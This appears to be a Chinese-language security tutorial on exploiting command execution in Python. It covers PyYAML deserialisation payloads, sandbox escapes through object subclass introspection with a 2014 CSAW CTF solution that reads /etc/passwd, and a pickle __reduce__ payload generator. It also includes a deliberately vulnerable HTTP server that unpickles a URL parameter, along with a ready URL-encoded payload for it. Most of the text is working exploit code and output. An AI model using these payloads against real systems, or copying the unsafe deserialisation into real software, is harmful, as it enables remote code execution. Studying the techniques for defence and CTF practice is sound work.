python中常见的命令代码执行漏洞的利用方式

yaml

详情可看
http://www.polaris-lab.com/index.php/archives/375/
利用
sample.yml
以下其中的一行

1
2
3
4
5
6
7
8
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
!!python/object/apply:subprocess.check_output [[calc.exe]]
!!python/object/apply:subprocess.check_output ["calc.exe"]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/new:os.system ["calc.exe"]

yaml_verify.py

1
2
import yaml
yaml.load(file('simple.yml', 'r'))

沙箱逃匿

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程
总体来说,我们使用以下几个函数,就可以直接愉快的拿到shell啦!

1
2
3
4
5
6
7
8
9
10
import os
import subprocess
import commands

# 直接输入shell命令,以ifconfig举例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)

Magic Code

在Python里,这段[].class.base.subclasses()魔术代码,不用import任何模块,但可调用任意模块的方法。
在2.7.10里,有以下3个Class导入了os模块。

1
2
3
<class 'site._Printer'>
<class 'site.Quitter'>
<class 'subprocess.Popen'>

命令执行代码

1
2
3
4
5
6
7
def cmdexec(cmd):
magic = [].__class__.__base__.__subclasses__()
for item in magic:
if "<class 'site._Printer'>" == str(item):
ret = item.__init__.__globals__['os'].system(cmd)
return ret
print cmdexec('whoami')

以2014 CSAW-CTF为例
例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

#print "os".encode('rot13')

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]

while 1:
print(">>>", end=' ')
data = raw_input()

for no in banned:
if no.lower() in data.lower():
print("[-] " + no)
break
else: # this means nobreak
exec data

解答

1
2
3
4
5
6
➜  python_sandbox_bypass python sandbox.py
Welcome to my Python sandbox! Enter commands below!
>>> s = 's' + 'ystem'
>>> a = [].__class__.__base__.__subclasses__()[68].__init__.__globals__['o'+'s'].__dict__[s]
>>> a('cat /etc/passwd')
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false

pickle

详情可看此文章
其中的第一种利用方法
pickle允许任意对象去定义一个reduce方法来申明怎么序列化这个对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构。
生成payload的代码
pickle_poc_gen.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import cPickle
import os
import urllib

class genpoc(object):
def __reduce__(self):
s = """ipconfig""" #要执行的命令
return os.system, (s,) #os.system("echo test >poc.txt")

e = genpoc()
poc = cPickle.dumps(e)

print poc
print urllib.quote(poc)
fp = open("poc.pickle","w")
fp.write(poc)

dopickle.py

1
2
import pickle
pickle.load(open('./poc.pickle'))

现在问题来了,如何在实际的web环境中使用这些payload呢?
我们先实现一个简单的httpserver

pickle_verify_httpserver.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import BaseHTTPServer
import urllib
import cPickle

class ServerHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
if "?payload" in self.path:
query= urllib.splitquery(self.path)
action = query[1].split('=')[1]
print action
action = urllib.unquote(action)
print action
try:
x = cPickle.loads(action) #string argv
print x
content = "command executed"
except Exception,e:
print e
content = e
else:
content = "hello World"

self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()
self.wfile.write("<html>")
self.wfile.write(" %s " % content)
self.wfile.write("</html>")

if __name__ == '__main__':
srvr = BaseHTTPServer.HTTPServer(('',8000), ServerHandler)
print 'started httpserver...'
srvr.serve_forever()

运行以上代码后,将运行一个监听本地8000端口的web服务器,通过如下URL访问,传递Payload给服务器。
url访问

http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A%28S%27ipconfig%27%0Ap2%0AtRp3%0A.

参考文章:
Python PyYAML反序列化漏洞实验和Payload构造(http://www.polaris-lab.com/index.php/archives/375/)
format注入(http://www.venenof.com/index.php/archives/360/)
Python urllib HTTP头注入漏洞(https://www.tuicool.com/articles/2iIj2eR)
Hack Redis via Python urllib HTTP Header Injection(https://security.tencent.com/index.php/blog/msg/106)
Python沙箱逃逸的n种姿势(https://xz.aliyun.com/t/52/#toc-0)
Python Sandbox Bypass(https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ==&mid=2247483665&idx=1&sn=4b18de09738fdc5291634db1ca2dd55a)
Python Pickle的任意代码执行漏洞实践和Payload构造(http://www.polaris-lab.com/index.php/archives/178/)